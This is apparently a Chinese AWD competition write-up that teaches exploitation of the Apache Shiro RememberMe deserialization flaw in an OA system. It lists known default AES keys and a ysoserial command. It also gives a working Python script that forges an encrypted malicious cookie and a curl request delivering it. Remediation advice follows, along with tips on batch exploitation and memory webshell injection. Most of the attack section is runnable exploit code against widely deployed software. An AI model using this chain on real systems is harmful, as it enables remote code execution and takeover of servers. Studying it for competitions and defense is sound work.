记第一次AWD与ISW之旅
字数 1169 2025-08-19 12:42:07
Shiro反序列化漏洞实战教学文档
1. 漏洞背景
根据提供的链接信息,目标系统(新翔OA管理系统)存在Shiro框架的固定密钥漏洞,导致可以实施反序列化攻击。这是一个典型的Java反序列化安全问题,在AWD(Attack With Defense)竞赛环境中经常出现。
2. 漏洞原理
2.1 Shiro框架安全机制
Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。它使用RememberMe功能来保持用户登录状态。
2.2 漏洞成因
- 固定密钥问题:Shiro使用AES加密RememberMe cookie,但许多系统使用默认或公开的加密密钥
- 反序列化漏洞:加密后的数据会被反序列化,如果攻击者能够伪造有效的RememberMe cookie并控制反序列化过程,就能执行任意代码
3. 漏洞检测
3.1 识别Shiro框架
- 检查HTTP响应头中是否有
rememberMe=deleteMe字段 - 检查Cookie中是否有
rememberMe字段
3.2 检测固定密钥
使用已知的Shiro默认密钥列表进行测试:
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
4. 漏洞利用
4.1 工具准备
- ysoserial:Java反序列化利用工具
- Python脚本:生成恶意RememberMe cookie
- Burp Suite:拦截和修改HTTP请求
4.2 利用步骤
- 生成恶意序列化对象
java -jar ysoserial.jar CommonsBeanutils1 "command" > payload.ser
- 使用已知密钥加密payload
from Crypto.Cipher import AES
import base64
import sys
def encrypt(key, payload):
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, IV=b'\x00'*16)
padded = payload + bytes([16 - len(payload) % 16] * (16 - len(payload) % 16))
encrypted = cipher.encrypt(padded)
return base64.b64encode(encrypted).decode()
key = "kPH+bIxk5D2deZiIxcaaaA==" # 已知密钥
with open("payload.ser", "rb") as f:
payload = f.read()
print(encrypt(key, payload))
- 构造恶意Cookie
将生成的加密数据作为RememberMe cookie发送:
Cookie: rememberMe=[加密后的payload]
- 发送请求
使用Burp Repeater或curl发送带有恶意cookie的请求:
curl -H "Cookie: rememberMe=[加密后的payload]" http://target.com
5. 防御措施
5.1 修复方案
- 升级Shiro版本:使用最新版Shiro框架
- 更换加密密钥:生成新的随机密钥替换默认密钥
- 禁用反序列化:配置Shiro不使用Java原生序列化
5.2 配置示例
在shiro.ini中配置自定义密钥:
securityManager.rememberMeManager.cipherKey = ${your.random.base64.encoded.key}
6. AWD竞赛技巧
- 快速识别:编写脚本自动检测Shiro框架和测试常见密钥
- 批量利用:准备自动化脚本快速攻击多个目标
- 防御加固:在修复自己系统的同时监控对手攻击行为
- 日志监控:实时监控系统日志发现攻击行为
7. 扩展知识
- 其他利用链:除了CommonsBeanutils1,还可以尝试其他ysoserial利用链
- 内存马注入:通过反序列化注入内存webshell维持权限
- 流量分析:在AWD中分析对手的攻击流量获取有用信息
8. 参考资源
- Shiro官方文档
- ysoserial项目
- Java反序列化漏洞白皮书
- AWD竞赛经验分享
通过以上步骤,可以有效地利用Shiro反序列化漏洞获取系统权限,同时在防御方面也能采取相应措施保护自己的系统。在AWD竞赛中,这种漏洞的快速利用和防御往往是胜负的关键。